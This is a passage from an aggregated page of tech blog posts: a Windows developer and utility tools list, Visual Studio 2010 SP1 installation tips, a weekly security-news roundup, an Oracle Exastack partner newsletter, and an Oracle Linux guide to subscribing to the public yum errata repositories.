can find out. Process Explorer shows you information about which handles and DLLs processes have opened or loaded. Also, included in the SysInterals Suite. Free Process Monitor Process Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity. Free Reflector Explore and analyze compiled .NET assemblies, viewing them in C#, Visual Basic, and IL. This is an Essential for any .NET developer. Free Regular Expression Library Stuck on a Regular Expression but you think someone has already figured it out? Chances are they have. Free Regulator Regulator makes Regular Expressions easy. This is a must have for a .NET Developer. Free RenameMaestro RenameMaestro is probably the easiest batch file renamer you'll find to instantly rename multiple files COST ReSharper The one program that I cannot live without. Supports VS2010 and offers simple refactoring, code analysis/assistance/cleanup/templates. One of the few applications that is worth the $$$. COST/Trial ScrewTurn Wiki ScrewTurn Wiki allows you to create, manage and share wikis. A wiki is a collaboratively-edited, information-centered website: the most famous is Wikipedia. Free SharpDevelop What is #develop? SharpDevelop is a free IDE for C# and VB.NET projects on Microsoft's .NET platform. Free Show Me The Template Show Me The Template is a tool for exploring the templates, be their data, control or items panel, that comes with the controls built into WPF for all 6 themes. Free SnippetCompiler Compiles code snippets without opening Visual Studio. It does not support .NET 4. Free SQL Prompt SQL Prompt is a plug-in that increases how fast you can work with SQL. It provides code-completion for SQL server, reformatting, db schema information and snippets. Awesome! COST/Trial SQLinForm SQLinForm is an automatic SQL code formatter for all major databases  including ORACLE, SQL Server, DB2, UDB, Sybase, Informix, PostgreSQL, Teradata, MySQL, MS Access etc. with over 70 formatting options. COST/OnlineFree SSMS Tools SSMS Tools Pack is an add-in for Microsoft SQL Server Management Studio (SSMS) including SSMS Express. Free Storm STORM is a free and open source tool for testing web services. Free Telerik Code Convertor Convert code from VB to C Sharp and Vice Versa. Free TurtoiseSVN TortoiseSVN is a really easy to use Revision control / version control / source control software for Windows.Since it's not an integration for a specific IDE you can use it with whatever development tools you like. Free UltraEdit UltraEdit is the ideal text, HTML and hex editor, and an advanced PHP, Perl, Java and JavaScript editor for programmers. UltraEdit is also an XML editor including a tree-style XML parser. An industry-award winner, UltraEdit supports disk-based 64-bit file handling (standard) on 32-bit Windows platforms (Windows 2000 and later). COST/Trial Virtual Windows XP Comes with some W7 version and allows you to run WinXP along side W7. Free VirtualBox Virtualization by Sun Microsystems. You can virtualize Windows, Linux and more. Free Visual Log Parser SQL queries against a variety of log files and other system data sources. Free WinMerge WinMerge is an Open Source differencing and merging tool for Windows. WinMerge can compare both folders and files, presenting differences in a visual text format that is easy to understand and handle. Free Wireshark Wireshark is one of the best network protocol analyzer's for Unix and windows. This has been used several times to get me out of a bind. Free XML Notepad 07 Old, but still one of my favorite XML viewers. Free Productivity Tools – This is the list of tools that I use to save time or quickly navigate around Windows. Name Description License AutoHotKey Automate almost anything by sending keystrokes and mouse clicks. You can write a mouse or keyboard macro by hand or use the macro recorder. Free CLCL CLCL is clipboard caching utility. Free Ditto Ditto is an extension to the standard windows clipboard. It saves each item placed on the clipboard allowing you access to any of those items at a later time. Ditto allows you to save any type of information that can be put on the clipboard, text, images, html, custom formats, ..... Free Evernote Remember everything from notes to photos. It will synch between computers/devices. Free InfoRapid Inforapid is a search tool that will display all you search results in a html like browser. If you click on a word in that browser, it will start another search to the word you clicked on. Handy if you want to trackback something to it's true origin. The word you looked for will be highlighted in red. Clicking on the red word will open the containing file in a text based viewer. Clicking on any word in the opened document will start another search on that word. Free KatMouse The prime purpose of the KatMouse utility is to enhance the functionality of mice with a scroll wheel, offering 'universal' scrolling: moving the mouse wheel will scroll the window directly beneath the mouse cursor (not the one with the keyboard focus, which is default on Windows OSes). This is a major increase in the usefulness of the mouse wheel. Free ScreenR Instant Screencast with nothing to download. Works with Mac or PC and free. Free Start++ Start++ is an enhancement for the Start Menu in Windows Vista. It also extends the Run box and the command-line with customizable commands.  For example, typing "w Windows Vista" will take you to the Windows Vista page on Wikipedia! Free Synergy Synergy lets you easily share a single mouse and keyboard between multiple computers with different operating systems, each with its own display, without special hardware. It's intended for users with multiple computers on their desk since each system uses its own monitor(s). Free Texter Texter lets you define text substitution hot strings that, when triggered, will replace hotstring with a larger piece of text. By entering your most commonly-typed snippets of text into Texter, you can save countless keystrokes in the course of the day. Free Total Commander File handling, FTP, Archive handling and much more. Even works with Win3.11. COST/Trial Available Wizmouse WizMouse is a mouse enhancement utility that makes your mouse wheel work on the window currently under the mouse pointer, instead of the currently focused window. This means you no longer have to click on a window before being able to scroll it with the mouse wheel. This is a far more comfortable and practical way to make use of the mouse wheel. Free Xmarks Bookmark sync and search between computers. Free General Utilities – This is a list for power user users or anyone that wants more out of Windows. I usually install a majority of these whenever I get a new system. Name Description License µTorrent µTorrent is a lightweight and efficient BitTorrent client for Windows or Mac with many features. I use this for downloading LEGAL media. Free Audacity Audacity® is free, open source software for recording and editing sounds. It is available for Mac OS X, Microsoft Windows, GNU/Linux, and other operating systems. Learn more about Audacity... Also check our Wiki and Forum for more information. Free AVast Free FREE Antivirus. Free CD Burner XP Pro CDBurnerXP is a free application to burn CDs and DVDs, including Blu-Ray and HD-DVDs. It also includes the feature to burn and create ISOs, as well as a multilanguage interface. Free CDEX You can extract digital audio CDs into mp3/wav. Free Combofix Combofix is a freeware (a legitimate spyware remover created by sUBs), Combofix was designed to scan a computer for known malware, spyware (SurfSideKick, QooLogic, and Look2Me as well as any other combination of the mentioned spyware applications) and remove them. Free Cpu-Z Provides information about some of the main devices of your system. Free Cropper Cropper is a screen capture utility written in C#. It makes it fast and easy to grab parts of your screen. Use it to easily crop out sections of vector graphic files such as Fireworks without having to flatten the files or open in a new editor. Use it to easily capture parts of a web site, including text and images. It's also great for writing documentation that needs images of your application or web site. Free DropBox Drag and Drop files to sync between computers. Free DVD-Fab Converts/Copies DVDs/Blu-Ray to different formats. (like mp4, mkv, avi) COST/Trial Available FastStone Capture FastStone Capture is a powerful, lightweight, yet full-featured screen capture tool that allows you to easily capture and annotate anything on the screen including windows, objects, menus, full screen, rectangular/freehand regions and even scrolling windows/web pages. Free ffdshow FFDShow is a DirectShow decoding filter for decompressing DivX, XviD, H.264, FLV1, WMV, MPEG-1 and MPEG-2, MPEG-4 movies. Free Filezilla FileZilla Client is a fast and reliable cross-platform FTP, FTPS and SFTP client with lots of useful features and an intuitive graphical user interface. You can also download a server version. Free FireFox Web Browser, do you really need an explanation? Free FireGestures A customizable mouse gestures extension which enables you to execute various commands and user scripts with five types of gestures. Free FoxIt Reader Light weight PDF viewer. You should install this with the advanced setting or it will install a toolbar and setup some shortcuts. Free gSynchIt Synch Gmail and Outlook. Even supports Outlook 2010 32/64 bit COST/Trial Available Hulu Desktop At home or in a hotel, this has replaced my cable/satellite subscription. Free ImgBurn ImgBurn is a lightweight CD / DVD / HD DVD / Blu-ray burning application that everyone should have in their toolkit! Free Infrarecorder InfraRecorder is a free CD/DVD burning solution for Microsoft Windows. It offers a wide range of powerful features; all through an easy to use application interface and Windows Explorer integration. Free KeePass KeePass is a free open source password manager, which helps you to manage your passwords in a secure way. Free LastPass Another password management, synchronize between browsers, automatic form filling and more. Free Live Essentials One download and lots of programs including Mail, Live Writer, Movie Maker and more! Free Monitores MonitorES is a small windows utility that helps you to turnoff monitor display when you lock down your machine.Also when you lock your machine, it will pause all your running media programs & set your IM status message to "Away" / Custom message(via options) and restore it back to normal when you back. Free mRemote mRemote is a full-featured, multi-tab remote connections manager. Free Open Office OpenOffice.org 3 is the leading open-source office software suite for word processing, spreadsheets, presentations, graphics, databases and more. It is available in many languages and works on all common computers. It stores all your data in an international open standard format and can also read and write files from other common office software packages. It can be downloaded and used completely free of charge for any purpose. Free Paint.NET Simple, intuitive, and innovative user interface for editing photos. Free Picasa Picasa is free photo editing software from Google that makes your pictures look great. Free Pidgin Pidgin is an easy to use and free chat client used by millions. Connect to AIM, MSN, Yahoo, and more chat networks all at once. Free PING PING is a live Linux ISO, based on the excellent Linux From Scratch (LFS) documentation. It can be burnt on a CD and booted, or integrated into a PXE / RIS environment. Free Putty PuTTY is an SSH and telnet client, developed originally by Simon Tatham for the Windows platform. Free Revo Uninstaller Revo Uninstaller Pro helps you to uninstall software and remove unwanted programs installed on your computer easily! Even if you have problems uninstalling and cannot uninstall them from "Windows Add or Remove Programs" control panel applet.Revo Uninstaller is a much faster and more powerful alternative to "Windows Add or Remove Programs" applet! It has very powerful features to uninstall and remove programs. Free Security Essentials Microsoft Security Essentials is a new, free consumer anti-malware solution for your computer. Free SetupVirtualCloneDrive Virtual CloneDrive works and behaves just like a physical CD/DVD drive, however it exists only virtually. Point to the .ISO file and it appears in Windows Explorer as a Drive. Free Shark 007 Codec Pack Play just about any file format with this download. Also includes my W7 Media Playlist Generator. Free Snagit 9 Screen Capture on steroids. Add arrows, captions, etc to any screenshot. COST/Trial Available SysinternalsSuite Go ahead and download the entire sys internals suite. I have mentioned multiple programs in this suite already. Free TeraCopy TeraCopy is a compact program designed to copy and move files at the maximum possible speed, providing the user with a lot of features. Free for Home TrueCrypt Free open-source disk encryption software for Windows 7/Vista/XP, Mac OS X, and Linux Free TweetDeck Fully featured Twitter client. Free UltraVNC UltraVNC is a powerful, easy to use and free software that can display the screen of another computer (via internet or network) on your own screen. The program allows you to use your mouse and keyboard to control the other PC remotely. It means that you can work on a remote computer, as if you were sitting in front of it, right from your current location. Free Unlocker Unlocks locked files. Pretty simple right? Free VLC Media Player VLC media player is a highly portable multimedia player and multimedia framework capable of reading most audio and video formats Free Windows 7 Media Playlist This program is special to my heart because I wrote it. It has been mentioned on podcast and various websites. It allows you to quickly create wvx video playlist for Windows Media Center. Free WinRAR WinRAR is a powerful archive manager. It can backup your data and reduce the size of email attachments, decompress RAR, ZIP and other files downloaded from Internet and create new archives in RAR and ZIP file format. COST/Trial Available Blogging – I use the following for my blog. Name Description License Insert Code for Windows Live Writer Insert Code for Windows Live Writer will format a snippet of text in a number of programming languages such as C#, HTML, MSH, JavaScript, Visual Basic and TSQL. Free LiveWriter Included in Live Essentials, but the ultimate in Windows Blogging Free PasteAsVSCode Plug-in for Windows Live Writer that pastes clipboard content as Visual Studio code. Preserves syntax highlighting, indentation and background color. Converts RTF, outputted by Visual Studio, into HTML. Free Desktop Management – The list below represent the best in Windows Desktop Management. Name Description License 7 Stacks Allows users to have "stacks" of icons in their taskbar. Free Executor Executor is a multi purpose launcher and a more advanced and customizable version of windows run. Free Fences Fences is a program that helps you organize your desktop and can hide your icons when they are not in use. Free RocketDock Rocket Dock is a smoothly animated, alpha blended application launcher. It provides a nice clean interface to drop shortcuts on for easy access and organization. With each item completely customizable there is no end to what you can add and launch from the dock. Free WindowsTab Tabbing is an essential feature of modern web browsers. Window Tabs brings the productivity of tabbed window management to all of your desktop applications. Free

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• Tips on installing Visual Studio 2010 SP1

  - by Jon Galloway

  Visual Studio SP1 went up on MSDN downloads (here) on March 8, and will be released publicly on March 10 here. Release announcements: Soma: Visual Studio 2010 enhancements Jason Zander: Announcing Visual Studio 2010 Service Pack 1 I started on this post with tips on installing VS2010 SP1 when I realized I’ve been writing these up for Visual Studio and .NET framework SP releases for a while (e.g. VS2008 / .NET 3.5 SP1 post, VS2005 SP1 post). Looking back the years of Visual Studio SP installs (and remembering when we’d get up to SP6 for a Visual Studio release), I’m happy to see that it just keeps getting easier. Service Packs are a lot less finicky about requiring beta software to be uninstalled, install more quickly, and are just generally a lot less scary. If I can’t have a jetpack, at least my future provided me faster, easier service packs. Disclaimer: These tips are just general things I've picked up over the years. I don't have any inside knowledge here. If you see anything wrong, be sure to let me know in the comments. You may want to check the readme file before installing - it's short, and it's in that new-fangled HTML format. On with the tips! Before starting, uninstall Visual Studio features you don't use Visual Studio service packs (and other Microsoft service packs as well) install patches for the specific features you’ve got installed. This is a big reason to always do a custom install when you first install Visual Studio, but it’s not difficult to update your existing installation. Here’s the quick way to do that: Tap the windows key and type “add or remove programs” and press enter (or click on the “Add or remove programs” link if you must).   Type “Visual Studio 2010” in the search box in the upper right corner, click on the Visual Studio program (the one with the VS infinity looking logo) and click on Uninstall/Change. Click on Add or Remove Features The next part’s up to you – what features do you actually use? I’ve been doing primarily ASP.NET MVC development in C# lately, so I selected Visual C# and Visual Web Developer. Remember that you can install features later if needed, and can also install the express versions if you want. Selecting everything just because it’s there - or you paid for it – means that you install updates for everything, every time. When you’ve made your changes, click on the Update button to uninstall unused features. Shut down all instances of Visual Studio It probably goes without saying that you should close a program down before installing it, partly to avoid the file-in-use-reboot-after-install horror. Additional "hunch / works on my machine" quality tip: On one computer I saw a note in the setup log about Visual Studio a prompt for user input to close Visual Studio, although I never saw the prompt. Just to  be sure, I'd personally open up Task Manager and kill any devenv.exe processes I saw running, as it couldn't hurt. Use the web installer I use the Web Installers whenever possible. There’s no point in downloading the DVD unless you’re doing multiple installs or won’t have internet access. The DVD IS is 1.5GB, since it needs to be able to service every possible supported installation option on both x86 and x64. The web installer is 776 KB (smaller than calc.exe), so you can start the installation right away. Like other web installers, the real benefit is that it only installs the updates you need (hence the reason for step 1 – uninstalling unused components). Instead of 1.5GB, my download was roughly 530MB. If you’re installing from MSDN (this link takes you right to the Visual Studio installs), select the first one on the list: The first step in the installation process is to analyze the machine configuration and tell you what needs to be installed. Since I've trimmed down my features, that's a pretty short list. The time's not far off where I may not install SQL Server on my dev machines, just using SQL Server Compact - that would shorten the list further. When I hit next, you can see that the download size has shrunk considerably. When I start the install, note that the installation begins while other components are downloading - another benefit of the web install. On my mid-range desktop machine, the install took 25 minutes. What if it takes longer? According to Heath Stewart (Visual Studio installer guru), average SP1 installs take roughly 45 minutes. An installation which takes hours to complete may be a sign of a problem: see his post Visual Studio 2010 Service Pack 1 installing for over 2 hours could be a sign of a problem. Why so long? Yes, even 25 minutes is a while. Heath's got another blog post explaining why the update can take longer than the initial install (see: A patch may take as long or longer to install than the target product) which explains all the additional steps and complexities a patch needs to deal with, as well as some mitigation steps that deployment authors can take to mitigate the impact. Other things to know about Visual Studio 2010 SP1 Installs over Visual Studio 2010 SP1 Beta That's nice. Previous Visual Studio versions did a number of annoying things when you installed SP's over beta's - fail with weird errors, get part way through and tell you needed to cancel and uninstall first, etc. I've installed this on two machines that had random beta stuff installed without tears. That Readme file you didn't read I mentioned the readme file earlier (http://go.microsoft.com/fwlink/?LinkId=210711 ). Some interesting things I picked up in there: 2.1.3. Visual Studio 2010 Service Pack 1 installation may fail when a USB drive or other removeable drive is connected 2.1.4. Visual Studio must be restarted after Visual Studio 2010 SP1 tooling for SQL Server Compact (Compact) 4.0 is installed 2.2.1. If Visual Studio 2010 Service Pack 1 is uninstalled, Visual Studio 2010 must be reinstalled to restore certain components 2.2.2. If Visual Studio 2010 Service Pack 1 is uninstalled, Visual Studio 2010 must be reinstalled before SP1 can be installed again 2.4.3.1. Async CTP If you installed the pre-SP1 version of Async CTP but did not uninstall it before you installed Visual Studio 2010 SP1, then your computer will be in a state in which the version of the C# compiler in the .NET Framework does not match the C# compiler in Visual Studio. To resolve this issue: After you install Visual Studio 2010 SP1, reinstall the SP1 version of the Async CTP from here. Hardware acceleration for Visual Studio is disabled on Windows XP Visual Studio 2010 SP1 disables hardware acceleration when running on Windows XP (only on XP). You can turn it back on in the Visual Studio options, under Environment / General, as shown below. See Jason Zander's post titled Performance Troubleshooting Article and VS2010 SP1 Change.

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• Week in Geek: US Govt E-card Scam Siphons Confidential Data Edition

  - by Asian Angel

  This week we learned how to “back up photos to Flickr, automate repetitive tasks, & normalize MP3 volume”, enable “stereo mix” in Windows 7 to record audio, create custom papercraft toys, read up on three alternatives to Apple’s flaky iOS alarm clock, decorated our desktops & app docks with Google icon packs, and more. Photo by alexschlegel. Random Geek Links It has been a busy week on the security & malware fronts and we have a roundup of the latest news to help keep you updated. Photo by TopTechWriter.US. US govt e-card scam hits confidential data A fake U.S. government Christmas e-card has managed to siphon off gigabytes of sensitive data from a number of law enforcement and military staff who work on cybersecurity matters, many of whom are involved in computer crime investigations. Security tool uncovers multiple bugs in every browser Michal Zalewski reports that he discovered the vulnerability in Internet Explorer a while ago using his cross_fuzz fuzzing tool and reported it to Microsoft in July 2010. Zalewski also used cross_fuzz to discover bugs in other browsers, which he also reported to the relevant organisations. Microsoft to fix Windows holes, but not ones in IE Microsoft said that it will release two security bulletins next week fixing three holes in Windows, but it is still investigating or working on fixing holes in Internet Explorer that have been reportedly exploited in attacks. Microsoft warns of Windows flaw affecting image rendering Microsoft has warned of a Windows vulnerability that could allow an attacker to take control of a computer if the user is logged on with administrative rights. Windows 7 Not Affected by Critical 0-Day in the Windows Graphics Rendering Engine While confirming that details on a Critical zero-day vulnerability have made their way into the wild, Microsoft noted that customers running the latest iteration of Windows client and server platforms are not exposed to any risks. Microsoft warns of Office-related malware Microsoft’s Malware Protection Center issued a warning this week that it has spotted malicious code on the Internet that can take advantage of a flaw in Word and infect computers after a user does nothing more than read an e-mail. *Refers to a flaw that was addressed in the November security patch releases. Make sure you have all of the latest security updates installed. Unpatched hole in ImgBurn disk burning application According to security specialist Secunia, a highly critical vulnerability in ImgBurn, a lightweight disk burning application, can be used to remotely compromise a user’s system. Hole in VLC Media Player Virtual Security Research (VSR) has identified a vulnerability in VLC Media Player. In versions up to and including 1.1.5 of the VLC Media Player. Flash Player sandbox can be bypassed Flash applications run locally can read local files and send them to an online server – something which the sandbox is supposed to prevent. Chinese auction site touts hacked iTunes accounts Tens of thousands of reportedly hacked iTunes accounts have been found on Chinese auction site Taobao, but the company claims it is unable to take action unless there are direct complaints. What happened in the recent Hotmail outage Mike Schackwitz explains the cause of the recent Hotmail outage. DOJ sends order to Twitter for Wikileaks-related account info The U.S. Justice Department has obtained a court order directing Twitter to turn over information about the accounts of activists with ties to Wikileaks, including an Icelandic politician, a legendary Dutch hacker, and a U.S. computer programmer. Google gets court to block Microsoft Interior Department e-mail win The U.S. Federal Claims Court has temporarily blocked Microsoft from proceeding with the $49.3 million, five-year DOI contract that it won this past November. Google Apps customers get email lockdown Companies and organisations using Google Apps are now able to restrict the email access of selected users. LibreOffice Is the Default Office Suite for Ubuntu 11.04 Matthias Klose has announced some details regarding the replacement of the old OpenOffice.org 3.2.1 packages with the new LibreOffice 3.3 ones, starting with the upcoming Ubuntu 11.04 (Natty Narwhal) Alpha 2 release. Sysadmin Geek Tips Photo by Filomena Scalise. How to Setup Software RAID for a Simple File Server on Ubuntu Do you need a file server that is cheap and easy to setup, “rock solid” reliable, and has Email Alerting? This tutorial shows you how to use Ubuntu, software RAID, and SaMBa to accomplish just that. How to Control the Order of Startup Programs in Windows While you can specify the applications you want to launch when Windows starts, the ability to control the order in which they start is not available. However, there are a couple of ways you can easily overcome this limitation and control the startup order of applications. Random TinyHacker Links Using Opera Unite to Send Large Files A tutorial on using Opera Unite to easily send huge files from your computer. WorkFlowy is a Useful To-do List Tool A cool to-do list tool that lets you integrate multiple tasks in one single list easily. Playing Flash Videos on iOS Devices Yes, you can play flash videos on jailbroken iPhones. Here’s a tutorial. Clear Safari History and Cookies On iPhone A tutorial on clearing your browser history on iPhone and other iOS devices. Monitor Your Internet Usage Here’s a cool, cross-platform tool to monitor your internet bandwidth. Super User Questions See what the community had to say on these popular questions from Super User this week. Why is my upload speed much less than my download speed? Where should I find drivers for my laptop if it didn’t come with a driver disk? OEM Office 2010 without media – how to reinstall? Is there a point to using theft tracking software like Prey on my laptop, if you have login security? Moving an “all-in-one” PC when turned on/off How-To Geek Weekly Article Recap Get caught up on your HTG reading with our hottest articles from this past week. How to Combine Rescue Disks to Create the Ultimate Windows Repair Disk How To Boot 10 Different Live CDs From 1 USB Flash Drive What is Camera Raw, and Why Would a Professional Prefer it to JPG? Did You Know Facebook Has Built-In Shortcut Keys? The How-To Geek Guide to Audio Editing: The Basics One Year Ago on How-To Geek Enjoy looking through our latest gathering of retro article goodness. Learning Windows 7: Create a Homegroup & Join a New Computer To It How To Disconnect a Machine from a Homegroup Use Remote Desktop To Access Other Computers On a Small Office or Home Network How To Share Files and Printers Between Windows 7 and Vista Allow Users To Run Only Specified Programs in Windows 7 The Geek Note That is all we have for you this week and we hope your first week back at work or school has gone very well now that the holidays are over. Know a great tip? Send it in to us at [email protected]. Photo by Pamela Machado. Latest Features How-To Geek ETC HTG Projects: How to Create Your Own Custom Papercraft Toy How to Combine Rescue Disks to Create the Ultimate Windows Repair Disk What is Camera Raw, and Why Would a Professional Prefer it to JPG? The How-To Geek Guide to Audio Editing: The Basics How To Boot 10 Different Live CDs From 1 USB Flash Drive The 20 Best How-To Geek Linux Articles of 2010 Arctic Theme for Windows 7 Gives Your Desktop an Icy Touch Install LibreOffice via PPA and Receive Auto-Updates in Ubuntu Creative Portraits Peek Inside the Guts of Modern Electronics Scenic Winter Lane Wallpaper to Create a Relaxing Mood Access Your Web Apps Directly Using the Context Menu in Chrome The Deep – Awesome Use of Metal Objects as Deep Sea Creatures [Video]

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• Issue 15: The Benefits of Oracle Exastack

  - by rituchhibber

       SOLUTIONS FOCUS The Benefits of Oracle Exastack Paul ThompsonDirector, Alliances and Solutions Partner ProgramsOracle EMEA Alliances & Channels RESOURCES -- Oracle PartnerNetwork (OPN) Oracle Exastack Program Oracle Exastack Ready Oracle Exastack Optimized Oracle Exastack Labs and Enablement Resources Oracle Exastack Labs Video Tour SUBSCRIBE FEEDBACK PREVIOUS ISSUES Exastack is a revolutionary programme supporting Oracle independent software vendor partners across the entire Oracle technology stack. Oracle's core strategy is to engineer software and hardware together, and our ISV strategy is the same. At Oracle we design engineered systems that are pre-integrated to reduce the cost and complexity of IT infrastructures while increasing productivity and performance. Oracle innovates and optimises performance at every layer of the stack to simplify business operations, drive down costs and accelerate business innovation. Our engineered systems are optimised to achieve enterprise performance levels that are unmatched in the industry. Faster time to production is achieved by implementing pre-engineered and pre-assembled hardware and software bundles. Our strategy of delivering a single-vendor stack simplifies and reduces costs associated with purchasing, deploying, and supporting IT environments for our customers and partners. In parallel to this core engineered systems strategy, the Oracle Exastack Program enables our Oracle ISV partners to leverage a scalable, integrated infrastructure that delivers their applications tuned, tested and optimised for high-performance. Specifically, the Oracle Exastack Program helps ISVs run their solutions on the Oracle Exadata Database Machine, Oracle Exalogic Elastic Cloud, and Oracle SPARC SuperCluster T4-4 - integrated systems products in which the software and hardware are engineered to work together. These products provide OPN members with a lower cost and high performance infrastructure for database and application workloads across on-premise and cloud based environments. Ready and Optimized Oracle Partners can now leverage our new Oracle Exastack Program to become Oracle Exastack Ready and Oracle Exastack Optimized. Partners can achieve Oracle Exastack Ready status through their support for Oracle Solaris, Oracle Linux, Oracle VM, Oracle Database, Oracle WebLogic Server, Oracle Exadata Database Machine, Oracle Exalogic Elastic Cloud, and Oracle SPARC SuperCluster T4-4. By doing this, partners can demonstrate to their customers that their applications are available on the latest major releases of these products. The Oracle Exastack Ready programme helps customers readily differentiate Oracle partners from lesser software developers, and identify applications that support Oracle engineered systems. Achieving Oracle Exastack Optimized status demonstrates that an OPN member has proven itself against goals for performance and scalability on Oracle integrated systems. This status enables end customers to readily identify Oracle partners that have tested and tuned their solutions for optimum performance on an Oracle Exadata Database Machine, Oracle Exalogic Elastic Cloud, and Oracle SPARC SuperCluster T4-4. These ISVs can display the Oracle Exadata Optimized, Oracle Exalogic Optimized or Oracle SPARC SuperCluster Optimized logos on websites and on all their collateral to show that they have tested and tuned their application for optimum performance. Deliver higher value to customers Oracle's investment in engineered systems enables ISV partners to deliver higher value to customer business processes. New innovations are enabled through extreme performance unachievable through traditional best-of-breed multi-vendor server/software approaches. Core product requirements can be launched faster, enabling ISVs to focus research and development investment on core competencies in order to bring value to market as quickly as possible. Through Exastack, partners no longer have to worry about the underlying product stack, which allows greater focus on the development of intellectual property above the stack. Partners are not burdened by platform issues and can concentrate simply on furthering their applications. The advantage to end customers is that partners can focus all efforts on business functionality, rather than bullet-proofing underlying technologies, and so will inevitably deliver application updates faster. Exastack provides ISVs with a number of flexible deployment options, such as on-premise or Cloud, while maintaining one single code base for applications regardless of customer deployment preference. Customers buying their solutions from Exastack ISVs can therefore be confident in deploying on their own networks, on private clouds or into a public cloud. The underlying platform will support all conceivable deployments, enabling a focus on the ISV's application itself that wouldn't be possible with other vendor partners. It stands to reason that Exastack accelerates time to value as well as lowering implementation costs all round. There is a big competitive advantage in partners being able to offer customers an optimised, pre-configured solution rather than an assortment of components and a suggested fit. Once a customer has decided to buy an Oracle Exastack Ready or Optimized partner solution, it will be up and running without any need for the customer to conduct testing of its own. Operational costs and complexity are also reduced, thanks to streamlined customer support through standardised configurations and pro-active monitoring. 'Engineered to Work Together' is a significant statement of Oracle strategy. It guarantees smoother deployment of a single vendor solution, clear ownership with no finger-pointing and the peace of mind of the Oracle Support Centre underpinning the entire product stack. Next steps Every OPN member with packaged applications must seriously consider taking steps to become Exastack Ready, or Exastack Optimized at the first opportunity. That first step down the track is to talk to an expert on the OPN Portal, at the Oracle Partner Business Center or to discuss the next steps with the closest Oracle account manager. Oracle Exastack lab environments and other technical enablement resources are available for OPN members wishing to further their knowledge of Oracle Exastack and qualify their applications for Oracle Exastack Optimized. New Boot Camps and Guided Learning Paths (GLPs), tailored specifically for ISVs, are available for Oracle Exadata Database Machine, Oracle Exalogic Elastic Cloud, Oracle Linux, Oracle Solaris, Oracle Database, and Oracle WebLogic Server. More information about these GLPs and Boot Camps (including delivery dates and locations) are posted on the OPN Competency Center and corresponding OPN Knowledge Zones. Learn more about Oracle Exastack labs and ISV specific enablement resources. "Oracle Specialized partners are of course front-and-centre, with potential customers clearly directed to those partners and to Exadata Ready partners as a matter of priority." --More OpenWorld 2011 highlights for Oracle partners and customers Oracle Application Testing Suite 9.3 application testing solution for Web, SOA and Oracle Applications Oracle Application Express Release 4.1 improving the development of database-centric Web 2.0 applications and reports Oracle Unified Directory 11g helping customers manage the critical identity information that drives their business applications Oracle SOA Suite for healthcare integration Oracle Enterprise Pack for Eclipse 11g demonstrating continued commitment to the developer and open source communities Oracle Coherence 3.7.1, the latest release of the industry's leading distributed in-memory data grid Oracle Process Accelerators helping to simplify and accelerate time-to-value for customers' business process management initiatives Oracle's JD Edwards EnterpriseOne on the iPad meeting the increasingly mobile demands of today's workforces Oracle CRM On Demand Release 19 Innovation Pack introducing industry-leading hosted call centre and enterprise-marketing capabilities designed to drive further revenue and productivity while reducing costs and improving the customer experience Oracle's Primavera Portfolio Management 9 for businesses delivering on project portfolio goals with increased versatility, transparency and accuracy Oracle's PeopleSoft Human Capital Management (HCM) 9.1 On Demand Standard Edition helping customers manage their long-term investment in enterprise-wide business applications New versions of Oracle FLEXCUBE Universal Banking and Oracle FLEXCUBE Investor Servicing for Financial Institutions, as well as Oracle Financial Services Enterprise Case Management, Oracle Financial Services Pricing Management, Oracle Financial Management Analytics and Oracle Tax Analytics Oracle Utilities Network Management System 1.11 offering new modelling and analysis features to improve distribution-grid management for electric utilities Oracle Communications Network Charging and Control 4.4 helping communications service providers (CSPs) offer their customers more flexible charging options Plus many, many more technology announcements, enhancements, momentum news and community updates -- Oracle OpenWorld 2012 A date has already been set for Oracle OpenWorld 2012. Held once again in San Francisco, exhibitors, partners, customers and Oracle people will gather from 30 September until 4 November to meet, network and learn together with the rest of the global Oracle community. Register now for Oracle OpenWorld 2012 and save $$$! We'll reward your early planning for Oracle OpenWorld 2012 with reduced rates. Super Saver deals are now available! -- Back to the welcome page

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• How to subscribe to the free Oracle Linux errata yum repositories

  - by Lenz Grimmer

  Now that updates and errata for Oracle Linux are available for free (both as in beer and freedom), here's a quick HOWTO on how to subscribe your Oracle Linux system to the newly added yum repositories on our public yum server, assuming that you just installed Oracle Linux from scratch, e.g. by using the installation media (ISO images) available from the Oracle Software Delivery Cloud You need to download the appropriate yum repository configuration file from the public yum server and install it in the yum repository directory. For Oracle Linux 6, the process would look as follows: as the root user, run the following command: [root@oraclelinux62 ~]# wget http://public-yum.oracle.com/public-yum-ol6.repo \ -P /etc/yum.repos.d/ --2012-03-23 00:18:25-- http://public-yum.oracle.com/public-yum-ol6.repo Resolving public-yum.oracle.com... 141.146.44.34 Connecting to public-yum.oracle.com|141.146.44.34|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1461 (1.4K) [text/plain] Saving to: “/etc/yum.repos.d/public-yum-ol6.repo” 100%[=================================================>] 1,461 --.-K/s in 0s 2012-03-23 00:18:26 (37.1 MB/s) - “/etc/yum.repos.d/public-yum-ol6.repo” saved [1461/1461] For Oracle Linux 5, the file name would be public-yum-ol5.repo in the URL above instead. The "_latest" repositories that contain the errata packages are already enabled by default — you can simply pull in all available updates by running "yum update" next: [root@oraclelinux62 ~]# yum update Loaded plugins: refresh-packagekit, security ol6_latest | 1.1 kB 00:00 ol6_latest/primary | 15 MB 00:42 ol6_latest 14643/14643 Setting up Update Process Resolving Dependencies --> Running transaction check ---> Package at.x86_64 0:3.1.10-43.el6 will be updated ---> Package at.x86_64 0:3.1.10-43.el6_2.1 will be an update ---> Package autofs.x86_64 1:5.0.5-39.el6 will be updated ---> Package autofs.x86_64 1:5.0.5-39.el6_2.1 will be an update ---> Package bind-libs.x86_64 32:9.7.3-8.P3.el6 will be updated ---> Package bind-libs.x86_64 32:9.7.3-8.P3.el6_2.2 will be an update ---> Package bind-utils.x86_64 32:9.7.3-8.P3.el6 will be updated ---> Package bind-utils.x86_64 32:9.7.3-8.P3.el6_2.2 will be an update ---> Package cvs.x86_64 0:1.11.23-11.el6_0.1 will be updated ---> Package cvs.x86_64 0:1.11.23-11.el6_2.1 will be an update [...] ---> Package yum.noarch 0:3.2.29-22.0.1.el6 will be updated ---> Package yum.noarch 0:3.2.29-22.0.2.el6_2.2 will be an update ---> Package yum-plugin-security.noarch 0:1.1.30-10.el6 will be updated ---> Package yum-plugin-security.noarch 0:1.1.30-10.0.1.el6 will be an update ---> Package yum-utils.noarch 0:1.1.30-10.el6 will be updated ---> Package yum-utils.noarch 0:1.1.30-10.0.1.el6 will be an update --> Finished Dependency 